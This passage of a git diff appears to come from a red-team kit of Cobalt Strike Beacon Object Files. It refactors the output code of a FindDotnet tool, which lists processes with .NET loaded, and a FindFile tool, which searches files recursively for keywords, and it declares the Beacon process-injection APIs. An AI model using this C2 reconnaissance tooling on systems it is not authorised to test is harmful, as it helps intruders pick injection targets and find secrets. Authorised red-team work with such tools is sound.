+DECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);
+DECLSPEC_IMPORT char *  BeaconDataPtr(datap * parser, int size);
+DECLSPEC_IMPORT int     BeaconDataInt(datap * parser);
+DECLSPEC_IMPORT short   BeaconDataShort(datap * parser);
+DECLSPEC_IMPORT int     BeaconDataLength(datap * parser);
+DECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);
+
+/* format API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} formatp;
+
+DECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);
+DECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, char * text, int len);
+DECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, char * fmt, ...);
+DECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);
+DECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);
+
+/* Output Functions */
+#define CALLBACK_OUTPUT      0x0
+#define CALLBACK_OUTPUT_OEM  0x1e
+#define CALLBACK_OUTPUT_UTF8 0x20
+#define CALLBACK_ERROR       0x0d
+
+DECLSPEC_IMPORT void   BeaconOutput(int type, char * data, int len);
+DECLSPEC_IMPORT void   BeaconPrintf(int type, char * fmt, ...);
+
+
+/* Token Functions */
+DECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);
+DECLSPEC_IMPORT void   BeaconRevertToken();
+DECLSPEC_IMPORT BOOL   BeaconIsAdmin();
+
+/* Spawn+Inject Functions */
+DECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
+DECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT BOOL   BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
+DECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
+
+/* Utility Functions */
 DECLSPEC_IMPORT BOOL   toWideChar(char * src, wchar_t * dst, int max);

+ 4 - 5
KIT/FindDotnet/bofcompile.bat

@@ -1,5 +1,4 @@
-@ECHO OFF
-
-cl.exe /nologo /c /Od /MT /W0 /GS- /Tc finddotnet.c
-move /y finddotnet.obj finddotnet.o
-dumpbin /disasm finddotnet.o > finddotnet.disasm
+@ECHO OFF
+
+cl.exe /nologo /c /Od /MT /W0 /GS- /Tc finddotnet.c
+move /y finddotnet.obj finddotnet.o

+ 163 - 183
KIT/FindDotnet/finddotnet.c

@@ -1,183 +1,163 @@
-#include <windows.h>
-#include <stdio.h>
-#include <psapi.h>
-#include <shlwapi.h>
-#include <strsafe.h>
-#include <winternl.h>
-#include "beacon.h"
-#include "finddotnet.h"
-
-#pragma comment(lib, "ntdll.lib")
-#pragma comment(lib, "User32.lib")
-#pragma comment(lib, "Shlwapi.lib")
-
-
-//Code from: https://github.com/outflanknl/C2-Tool-Collection/blob/main/BOF/Psx/SOURCE/Psx.c
-HRESULT BeaconPrintToStreamW(_In_z_ LPCWSTR lpwFormat, ...) {
-	HRESULT hr = S_FALSE;
-	va_list argList;
-	DWORD dwWritten = 0;
-
-	if (g_lpStream <= (LPSTREAM)1) {
-		hr = OLE32$CreateStreamOnHGlobal(NULL, TRUE, &g_lpStream);
-		if (FAILED(hr)) {
-			return hr;
-		}
-	}
-
-	if (g_lpwPrintBuffer <= (LPWSTR)1) { 
-		g_lpwPrintBuffer = (LPWSTR)MSVCRT$calloc(MAX_STRING, sizeof(WCHAR));
-		if (g_lpwPrintBuffer == NULL) {
-			hr = E_FAIL;
-			goto CleanUp;
-		}
-	}
-
-	va_start(argList, lpwFormat);
-	if (!MSVCRT$_vsnwprintf_s(g_lpwPrintBuffer, MAX_STRING, MAX_STRING -1, lpwFormat, argList)) {
-		hr = E_FAIL;
-		goto CleanUp;
-	}
-
-	if (g_lpStream != NULL) {
-		if (FAILED(hr = g_lpStream->lpVtbl->Write(g_lpStream, g_lpwPrintBuffer, (ULONG)MSVCRT$wcslen(g_lpwPrintBuffer) * sizeof(WCHAR), &dwWritten))) {
-			goto CleanUp;
-		}
-	}
-
-	hr = S_OK;
-
-CleanUp:
-
-	if (g_lpwPrintBuffer != NULL) {
-		MSVCRT$memset(g_lpwPrintBuffer, 0, MAX_STRING * sizeof(WCHAR)); // Clear print buffer.
-	}
-
-	va_end(argList);
-	return hr;
-}
-
-//Code from: https://github.com/outflanknl/C2-Tool-Collection/blob/main/BOF/Psx/SOURCE/Psx.c
-VOID BeaconOutputStreamW() {
-	STATSTG ssStreamData = { 0 };
-	SIZE_T cbSize = 0;
-	ULONG cbRead = 0;
-	LARGE_INTEGER pos;
-	LPWSTR lpwOutput = NULL;
-
-	if (FAILED(g_lpStream->lpVtbl->Stat(g_lpStream, &ssStreamData, STATFLAG_NONAME))) {
-		return;
-	}
-
-	cbSize = ssStreamData.cbSize.LowPart;
-	lpwOutput = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, cbSize + 1);
-	if (lpwOutput != NULL) {
-		pos.QuadPart = 0;
-		if (FAILED(g_lpStream->lpVtbl->Seek(g_lpStream, pos, STREAM_SEEK_SET, NULL))) {
-			goto CleanUp;
-		}
-
-		if (FAILED(g_lpStream->lpVtbl->Read(g_lpStream, lpwOutput, (ULONG)cbSize, &cbRead))) {		
-			goto CleanUp;
-		}
-
-		BeaconPrintf(CALLBACK_OUTPUT, "%ls", lpwOutput);
-	}
-
-CleanUp:
-
-	if (g_lpStream != NULL) {
-		g_lpStream->lpVtbl->Release(g_lpStream);
-		g_lpStream = NULL;
-	}
-
-	if (g_lpwPrintBuffer != NULL) {
-		MSVCRT$free(g_lpwPrintBuffer);
-		g_lpwPrintBuffer = NULL;
-	}
-
-	if (lpwOutput != NULL) {
-		KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, lpwOutput);
-	}
-
-	return;
-}
-
-
-
-BOOL FindDotNet() {
-	int p = 0;
-	int pid = 0;
-	char psPath[MAX_PATH];
-	HANDLE currentProc = NULL;
-	UNICODE_STRING sectionName = { 0 };
-	WCHAR ProcNumber[30];
-	OBJECT_ATTRIBUTES objectAttributes;
-	BOOL dotNetFound = FALSE;
-	LPCSTR procName;
-	WCHAR WCprocName[256];
-	
-	NtGetNextProcess_t pNtGetNextProcess = (NtGetNextProcess_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");
-	NtOpenSection_t pNtOpenSection = (NtOpenSection_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtOpenSection");
-	if (pNtGetNextProcess == NULL || pNtOpenSection == NULL) {
-		BeaconPrintf(CALLBACK_ERROR, "Error resolving native API calls!\n");
-		return -1;		
-	}
-	
-	WCHAR objPath[] = L"\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_";
-	sectionName.Buffer = (PWSTR)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, 500);
-
-	BeaconPrintToStreamW(L"\nProcess name\t\t\t\t\t\tPID\n");
-	BeaconPrintToStreamW(L"=====================================================================\n");
-
-	while (!pNtGetNextProcess(currentProc, MAXIMUM_ALLOWED, 0, 0, &currentProc)) {
-		
-		pid = KERNEL32$GetProcessId(currentProc);
-		if (pid == 0) continue;		
-
-		USER32$wsprintfW(ProcNumber, L"%d", pid);
-
-		MSVCRT$memset(sectionName.Buffer, 0, 500);
-		MSVCRT$memcpy(sectionName.Buffer, objPath, MSVCRT$wcslen(objPath) * 2);   // add section name "prefix"
-		KERNEL32$lstrcatW(sectionName.Buffer, ProcNumber);
-		sectionName.Length = MSVCRT$wcslen(sectionName.Buffer) * 2;		// finally, adjust the string size
-		sectionName.MaximumLength = sectionName.Length + 1;		
-	
-		InitializeObjectAttributes(&objectAttributes, &sectionName, OBJ_CASE_INSENSITIVE, NULL, NULL);
-
-		HANDLE sectionHandle = NULL;		
-		NTSTATUS status = pNtOpenSection(&sectionHandle, SECTION_QUERY, &objectAttributes);
-		
-		if (NT_SUCCESS(status)) {
-			KERNEL32$CloseHandle(sectionHandle);
-			
-			KERNEL32$K32GetProcessImageFileNameA(currentProc, psPath, MAX_PATH);
-			procName = SHLWAPI$PathFindFileNameA(psPath);
-			
-			KERNEL32$MultiByteToWideChar(CP_ACP, 0, procName, -1, WCprocName, 256);
-			BeaconPrintToStreamW(L"%-60s\t%d\n", WCprocName, pid);
-			
-			dotNetFound = TRUE;
-		}
-	}
-	
-	return dotNetFound;
-}
-
-
-int go(void) {
-	BOOL res = NULL;
-	
-	res = FindDotNet();
-	if(!res) {
-		BeaconPrintf(CALLBACK_ERROR, "No .NET process found!");
-	}
-	else {
-		BeaconOutputStreamW();
-	}
-	
-	
-	
-	return 0;
-}
-
+#include <windows.h>
+#include <stdio.h>
+#include <psapi.h>
+#include <shlwapi.h>
+#include <strsafe.h>
+#include <winternl.h>
+#include "beacon.h"
+#include "finddotnet.h"
+
+#pragma comment(lib, "ntdll.lib")
+#pragma comment(lib, "User32.lib")
+#pragma comment(lib, "Shlwapi.lib")
+
+
+//START TrustedSec BOF print code: https://github.com/trustedsec/CS-Situational-Awareness-BOF/blob/master/src/common/base.c
+#ifndef bufsize
+#define bufsize 8192
+#endif
+char *output = 0;  
+WORD currentoutsize = 0;
+HANDLE trash = NULL; 
+int bofstart();
+void internal_printf(const char* format, ...);
+void printoutput(BOOL done);
+
+int bofstart() {   
+    output = (char*)MSVCRT$calloc(bufsize, 1);
+    currentoutsize = 0;
+    return 1;
+}
+
+void internal_printf(const char* format, ...){
+    int buffersize = 0;
+    int transfersize = 0;
+    char * curloc = NULL;
+    char* intBuffer = NULL;
+    va_list args;
+    va_start(args, format);
+    buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); 
+    va_end(args);
+    
+    if (buffersize == -1) return;
+    
+    char* transferBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, bufsize);
+	intBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, buffersize);
+    va_start(args, format);
+    MSVCRT$vsnprintf(intBuffer, buffersize, format, args); 
+    va_end(args);
+    if(buffersize + currentoutsize < bufsize) 
+    {
+        MSVCRT$memcpy(output+currentoutsize, intBuffer, buffersize);
+        currentoutsize += buffersize;
+    } else {
+        curloc = intBuffer;
+        while(buffersize > 0)
+        {
+            transfersize = bufsize - currentoutsize;
+            if(buffersize < transfersize) 
+            {
+                transfersize = buffersize;
+            }
+            MSVCRT$memcpy(output+currentoutsize, curloc, transfersize);
+            currentoutsize += transfersize;
+            if(currentoutsize == bufsize)
+            {
+                printoutput(FALSE); 
+            }
+            MSVCRT$memset(transferBuffer, 0, transfersize); 
+            curloc += transfersize; 
+            buffersize -= transfersize;
+        }
+    }
+	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, intBuffer);
+	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, transferBuffer);
+}
+
+void printoutput(BOOL done) {
+    char * msg = NULL;
+    BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize);
+    currentoutsize = 0;
+    MSVCRT$memset(output, 0, bufsize);
+    if(done) {MSVCRT$free(output); output=NULL;}
+}
+//END TrustedSec BOF print code.
+
+
+
+BOOL FindDotNet() {
+	int p = 0;
+	int pid = 0;
+	char psPath[MAX_PATH];
+	HANDLE currentProc = NULL;
+	UNICODE_STRING sectionName = { 0 };
+	WCHAR ProcNumber[30];
+	OBJECT_ATTRIBUTES objectAttributes;
+	BOOL dotNetFound = FALSE;
+	LPCSTR procName;
+	//WCHAR WCprocName[256];
+	
+	NtGetNextProcess_t pNtGetNextProcess = (NtGetNextProcess_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");
+	NtOpenSection_t pNtOpenSection = (NtOpenSection_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtOpenSection");
+	if (pNtGetNextProcess == NULL || pNtOpenSection == NULL) {
+		BeaconPrintf(CALLBACK_ERROR, "Error resolving native API calls!\n");
+		return -1;		
+	}
+	
+	WCHAR objPath[] = L"\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_";
+	sectionName.Buffer = (PWSTR)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, 500);
+
+	internal_printf("\nProcess name\t\t\t\t\t\tPID\n");
+	internal_printf("=====================================================================\n");
+
+	while (!pNtGetNextProcess(currentProc, MAXIMUM_ALLOWED, 0, 0, &currentProc)) {
+		
+		pid = KERNEL32$GetProcessId(currentProc);
+		if (pid == 0) continue;		
+
+		USER32$wsprintfW(ProcNumber, L"%d", pid);
+
+		MSVCRT$memset(sectionName.Buffer, 0, 500);
+		MSVCRT$memcpy(sectionName.Buffer, objPath, MSVCRT$wcslen(objPath) * 2);   // add section name "prefix"
+		KERNEL32$lstrcatW(sectionName.Buffer, ProcNumber);
+		sectionName.Length = MSVCRT$wcslen(sectionName.Buffer) * 2;		// finally, adjust the string size
+		sectionName.MaximumLength = sectionName.Length + 1;		
+	
+		InitializeObjectAttributes(&objectAttributes, &sectionName, OBJ_CASE_INSENSITIVE, NULL, NULL);
+
+		HANDLE sectionHandle = NULL;		
+		NTSTATUS status = pNtOpenSection(&sectionHandle, SECTION_QUERY, &objectAttributes);
+		
+		if (NT_SUCCESS(status)) {
+			KERNEL32$CloseHandle(sectionHandle);
+			
+			KERNEL32$K32GetProcessImageFileNameA(currentProc, psPath, MAX_PATH);
+			procName = SHLWAPI$PathFindFileNameA(psPath);
+			
+			//KERNEL32$MultiByteToWideChar(CP_ACP, 0, procName, -1, WCprocName, 256);
+			internal_printf("%-60s\t%d\n", procName, pid);
+			
+			dotNetFound = TRUE;
+		}
+	}
+	
+	return dotNetFound;
+}
+
+
+int go(void) {
+	BOOL res = NULL;
+	
+	if(!bofstart()) return;
+	
+	res = FindDotNet();
+	if(!res) {
+		BeaconPrintf(CALLBACK_ERROR, "No .NET process found!");
+	}
+	else {
+		printoutput(TRUE);
+	}
+
+	return 0;
+}
+

+ 22 - 22
KIT/FindDotnet/finddotnet.cna

@@ -1,22 +1,22 @@
-# author REDMED-X
-
-beacon_command_register(
-    "finddotnet", "Find processes that most likely have .NET loaded.",
-    "INFO:\nFind processes that most likely have .NET loaded by searching for the section name: \BaseNamedObjects\Cor_Private_IPCBlock(_v4)_<ProcessId>\n\n" .
-    "USAGE:\nfinddotnet\n\n");
-
-
-alias finddotnet {
-    $bid = $1;
-	
-    # Read in the right BOF file
-    $handle = openf(script_resource("finddotnet.o"));
-    $data   = readb($handle, -1);
-    closef($handle);
-
-    blog($bid, "Tasked to search for processes that have .NET loaded..");
-
-    beacon_inline_execute($bid, $data, "go", $null);
-}
-
-
+# author REDMED-X
+
+beacon_command_register(
+    "finddotnet", "Find processes that most likely have .NET loaded.",
+    "INFO:\nFind processes that most likely have .NET loaded by searching for the section name: \BaseNamedObjects\Cor_Private_IPCBlock(_v4)_<ProcessId>\n\n" .
+    "USAGE:\nfinddotnet\n\n");
+
+
+alias finddotnet {
+    $bid = $1;
+	
+    # Read in the right BOF file
+    $handle = openf(script_resource("finddotnet.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+
+    blog($bid, "Tasked to search for processes that have .NET loaded..");
+
+    beacon_inline_execute($bid, $data, "go", $null);
+}
+
+

+ 29 - 37
KIT/FindDotnet/finddotnet.h

@@ -1,37 +1,29 @@
-#include <windows.h>
-
-//FindDotNet
-typedef NTSTATUS (NTAPI * NtGetNextProcess_t)(HANDLE ProcessHandle, ACCESS_MASK DesiredAccess, ULONG HandleAttributes, ULONG Flags, PHANDLE NewProcessHandle);
-typedef NTSTATUS (NTAPI * NtOpenSection_t)(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes);
-DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetProcessId(HANDLE Process);
-WINBASEAPI void *__cdecl MSVCRT$memcpy(void *Dst, const void *Src, size_t MaxCount);
-WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t *_Str);
-WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
-WINBASEAPI int __cdecl MSVCRT$printf(const char * _Format,...);
-DECLSPEC_IMPORT int WINAPI USER32$wsprintfW(LPWSTR unnamedParam1, LPCWSTR unnamedParam2, ...);
-WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
-DECLSPEC_IMPORT DWORD WINAPI KERNEL32$K32GetProcessImageFileNameA(HANDLE hProcess, LPSTR lpImageFileName, DWORD nSize);
-DECLSPEC_IMPORT LPCSTR WINAPI SHLWAPI$PathFindFileNameA(LPCSTR pszPath);
-DECLSPEC_IMPORT LPWSTR WINAPI KERNEL32$lstrcatW (LPWSTR lpString1, LPCWSTR lpString2);
-DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle (HANDLE hObject);
-WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
-
-
-//BeaconPrintToStreamW + BeaconOutputStreamW
-#define MAX_STRING 8192
-INT g_iGarbage = 1;
-LPSTREAM g_lpStream = (LPSTREAM)1;
-LPWSTR g_lpwPrintBuffer = (LPWSTR)1;
-DECLSPEC_IMPORT HRESULT WINAPI OLE32$CreateStreamOnHGlobal(HGLOBAL hGlobal, BOOL fDeleteOnRelease, LPSTREAM *ppstm);
-WINBASEAPI void *__cdecl MSVCRT$calloc(size_t number, size_t size);
-WINBASEAPI int __cdecl MSVCRT$_vsnwprintf_s(wchar_t *buffer, size_t sizeOfBuffer, size_t count, const wchar_t *format, va_list argptr);
-WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t *_Str);
-WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
-WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
-WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
-WINBASEAPI void __cdecl MSVCRT$free(void *memblock);
-WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);
-DECLSPEC_IMPORT int WINAPI KERNEL32$MultiByteToWideChar(UINT CodePage, DWORD dwFlags, _In_NLS_string_(cbMultiByte)LPCCH lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar);
-
-
-
+#include <windows.h>
+
+//FindDotNet
+typedef NTSTATUS (NTAPI * NtGetNextProcess_t)(HANDLE ProcessHandle, ACCESS_MASK DesiredAccess, ULONG HandleAttributes, ULONG Flags, PHANDLE NewProcessHandle);
+typedef NTSTATUS (NTAPI * NtOpenSection_t)(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes);
+DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetProcessId(HANDLE Process);
+//WINBASEAPI void *__cdecl MSVCRT$memcpy(void *Dst, const void *Src, size_t MaxCount);
+WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t *_Str);
+//WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
+WINBASEAPI int __cdecl MSVCRT$printf(const char * _Format,...);
+DECLSPEC_IMPORT int WINAPI USER32$wsprintfW(LPWSTR unnamedParam1, LPCWSTR unnamedParam2, ...);
+//WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
+DECLSPEC_IMPORT DWORD WINAPI KERNEL32$K32GetProcessImageFileNameA(HANDLE hProcess, LPSTR lpImageFileName, DWORD nSize);
+DECLSPEC_IMPORT LPCSTR WINAPI SHLWAPI$PathFindFileNameA(LPCSTR pszPath);
+DECLSPEC_IMPORT LPWSTR WINAPI KERNEL32$lstrcatW (LPWSTR lpString1, LPCWSTR lpString2);
+DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle (HANDLE hObject);
+//WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
+DECLSPEC_IMPORT int WINAPI KERNEL32$MultiByteToWideChar(UINT CodePage, DWORD dwFlags, _In_NLS_string_(cbMultiByte)LPCCH lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar);
+
+//bofstart + internal_printf + printoutput
+WINBASEAPI void *__cdecl MSVCRT$calloc(size_t number, size_t size);
+WINBASEAPI int WINAPI MSVCRT$vsnprintf(char* buffer, size_t count, const char* format, va_list arg);
+WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
+WINBASEAPI void* WINAPI MSVCRT$memcpy(void* dest, const void* src, size_t count);
+WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
+WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
+WINBASEAPI void __cdecl MSVCRT$free(void *memblock);
+WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);
+

BIN
KIT/FindDotnet/finddotnet.o


+ 96 - 117
KIT/FindFile/findfile.c

@@ -4,98 +4,78 @@
 #include "findfile.h"
 #include "beacon.h"
 
-
-//https://github.com/outflanknl/C2-Tool-Collection/blob/main/BOF/Psx/SOURCE/Psx.c
-HRESULT BeaconPrintToStreamW(_In_z_ LPCWSTR lpwFormat, ...) {
-	HRESULT hr = S_FALSE;
-	va_list argList;
-	DWORD dwWritten = 0;
-
-	if (g_lpStream <= (LPSTREAM)1) {
-		hr = OLE32$CreateStreamOnHGlobal(NULL, TRUE, &g_lpStream);
-		if (FAILED(hr)) {
-			return hr;
-		}
-	}
-
-	if (g_lpwPrintBuffer <= (LPWSTR)1) { 
-		g_lpwPrintBuffer = (LPWSTR)MSVCRT$calloc(MAX_STRING, sizeof(WCHAR));
-		if (g_lpwPrintBuffer == NULL) {
-			hr = E_FAIL;
-			goto CleanUp;
-		}
-	}
-
-	va_start(argList, lpwFormat);
-	if (!MSVCRT$_vsnwprintf_s(g_lpwPrintBuffer, MAX_STRING, MAX_STRING -1, lpwFormat, argList)) {
-		hr = E_FAIL;
-		goto CleanUp;
-	}
-
-	if (g_lpStream != NULL) {
-		if (FAILED(hr = g_lpStream->lpVtbl->Write(g_lpStream, g_lpwPrintBuffer, (ULONG)MSVCRT$wcslen(g_lpwPrintBuffer) * sizeof(WCHAR), &dwWritten))) {
-			goto CleanUp;
-		}
-	}
-
-	hr = S_OK;
-
-CleanUp:
-
-	if (g_lpwPrintBuffer != NULL) {
-		MSVCRT$memset(g_lpwPrintBuffer, 0, MAX_STRING * sizeof(WCHAR)); // Clear print buffer.
-	}
-
-	va_end(argList);
-	return hr;
+#define MAX_PREVIEW_LENGTH 200
+
+//START TrustedSec BOF print code: https://github.com/trustedsec/CS-Situational-Awareness-BOF/blob/master/src/common/base.c
+#ifndef bufsize
+#define bufsize 8192
+#endif
+char *output = 0;  
+WORD currentoutsize = 0;
+HANDLE trash = NULL; 
+int bofstart();
+void internal_printf(const char* format, ...);
+void printoutput(BOOL done);
+
+int bofstart() {   
+    output = (char*)MSVCRT$calloc(bufsize, 1);
+    currentoutsize = 0;
+    return 1;
 }
 
-//https://github.com/outflanknl/C2-Tool-Collection/blob/main/BOF/Psx/SOURCE/Psx.c
-VOID BeaconOutputStreamW() {
-	STATSTG ssStreamData = { 0 };
-	SIZE_T cbSize = 0;
-	ULONG cbRead = 0;
-	LARGE_INTEGER pos;
-	LPWSTR lpwOutput = NULL;
-
-	if (FAILED(g_lpStream->lpVtbl->Stat(g_lpStream, &ssStreamData, STATFLAG_NONAME))) {
-		return;
-	}
-
-	cbSize = ssStreamData.cbSize.LowPart;
-	lpwOutput = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, cbSize + 1);
-	if (lpwOutput != NULL) {
-		pos.QuadPart = 0;
-		if (FAILED(g_lpStream->lpVtbl->Seek(g_lpStream, pos, STREAM_SEEK_SET, NULL))) {
-			goto CleanUp;
-		}
-
-		if (FAILED(g_lpStream->lpVtbl->Read(g_lpStream, lpwOutput, (ULONG)cbSize, &cbRead))) {		
-			goto CleanUp;
-		}
-
-		BeaconPrintf(CALLBACK_OUTPUT, "%ls", lpwOutput);
-	}
-
-CleanUp:
-	if (g_lpStream != NULL) {
-		g_lpStream->lpVtbl->Release(g_lpStream);
-		g_lpStream = NULL;
-	}
-
-	if (g_lpwPrintBuffer != NULL) {
-		MSVCRT$free(g_lpwPrintBuffer);
-		g_lpwPrintBuffer = NULL;
-	}
-
-	if (lpwOutput != NULL) {
-		KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, lpwOutput);
-	}
-
-	return;
+void internal_printf(const char* format, ...){
+    int buffersize = 0;
+    int transfersize = 0;
+    char * curloc = NULL;
+    char* intBuffer = NULL;
+    va_list args;
+    va_start(args, format);
+    buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); 
+    va_end(args);
+    
+    if (buffersize == -1) return;
+    
+    char* transferBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, bufsize);
+	intBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, buffersize);
+    va_start(args, format);
+    MSVCRT$vsnprintf(intBuffer, buffersize, format, args); 
+    va_end(args);
+    if(buffersize + currentoutsize < bufsize) 
+    {
+        MSVCRT$memcpy(output+currentoutsize, intBuffer, buffersize);
+        currentoutsize += buffersize;
+    } else {
+        curloc = intBuffer;
+        while(buffersize > 0)
+        {
+            transfersize = bufsize - currentoutsize;
+            if(buffersize < transfersize) 
+            {
+                transfersize = buffersize;
+            }
+            MSVCRT$memcpy(output+currentoutsize, curloc, transfersize);
+            currentoutsize += transfersize;
+            if(currentoutsize == bufsize)
+            {
+                printoutput(FALSE); 
+            }
+            MSVCRT$memset(transferBuffer, 0, transfersize); 
+            curloc += transfersize; 
+            buffersize -= transfersize;
+        }
+    }
+	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, intBuffer);
+	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, transferBuffer);
 }
 
-
+void printoutput(BOOL done) {
+    char * msg = NULL;
+    BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize);
+    currentoutsize = 0;
+    MSVCRT$memset(output, 0, bufsize);
+    if(done) {MSVCRT$free(output); output=NULL;}
+}
+//END TrustedSec BOF print code.
 
 
 bool keywordMatches(const char* content, const char* keyword) {
@@ -174,30 +154,31 @@ bool SearchFileForKeyword(const char* filePath, const char* keyword) {
     }
 	
 	//match line with keyword and return pattern if true
-    wchar_t wideFullPath[MAX_PATH];
-    wchar_t wideKeyword[MAX_PATH]; 
-    wchar_t wideLine[MAX_PATH];  
+	char* line = MSVCRT$strtok(fileContents, "\n");
+	bool found = false;
+	bool firstPrint = true;
+	char preview[MAX_PREVIEW_LENGTH + 1]; 
+
+	while (line) {
+		if (keywordMatches(line, lowerKeyword)) {
+			found = true;
+			int lineLength = MSVCRT$strlen(line);
 	
-    KERNEL32$MultiByteToWideChar(CP_ACP, 0, filePath, -1, wideFullPath, MAX_PATH);
-    KERNEL32$MultiByteToWideChar(CP_ACP, 0, keyword, -1, wideKeyword, MAX_PATH);
-	
-    char* line = MSVCRT$strtok(fileContents, "\n");
-    bool found = false;
-    bool firstPrint = true;
-    while (line) {
-        if (keywordMatches(line, lowerKeyword)) {
-            found = true;
-            KERNEL32$MultiByteToWideChar(CP_ACP, 0, line, -1, wideLine, MAX_PATH);
-            
-            if (firstPrint) {
-                BeaconPrintToStreamW(L"\n[+] Keyword '%ls' found in file: %ls\n", wideKeyword, wideFullPath);
-                firstPrint = false;
-            }
-            BeaconPrintToStreamW(L"\t- Matched on pattern: %ls\n", wideLine);
-            // break; //stop after first match
-        }
-        line = MSVCRT$strtok(NULL, "\n");
-    }
+			if (lineLength > MAX_PREVIEW_LENGTH) {
+				MSVCRT$strncpy(preview, line, MAX_PREVIEW_LENGTH);
+				preview[MAX_PREVIEW_LENGTH] = '\0'; 
+			} else {
+				MSVCRT$strcpy(preview, line);
+			}
+			if (firstPrint) {
+				internal_printf("\n[+] Keyword '%s' found in file: %s\n", keyword, filePath);
+				firstPrint = false;
+			}
+			internal_printf("\t- Matched on pattern: %s\n", preview);
+			// break; // Uncomment to stop after the first match
+		}
+		line = MSVCRT$strtok(NULL, "\n");
+	}
 
     MSVCRT$free(fileContents);
     MSVCRT$free(lowerKeyword);
@@ -225,13 +206,10 @@ void SearchFilesRecursive(const char* lpFolder, const char* lpSearchPattern, con
 				char fullPath[MAX_PATH];
 				MSVCRT$sprintf(fullPath, "%s\\%s", lpFolder, findFileData.cFileName);
 				
-				wchar_t wideFullPath[MAX_PATH];
-				KERNEL32$MultiByteToWideChar(CP_ACP, 0, fullPath, -1, wideFullPath, MAX_PATH);
-				
 				if (*keyword) { 
 				    SearchFileForKeyword(fullPath, keyword); 
 				} else if (!*keyword) {
-					BeaconPrintToStreamW(L"[+] File found: %ls\n", wideFullPath);
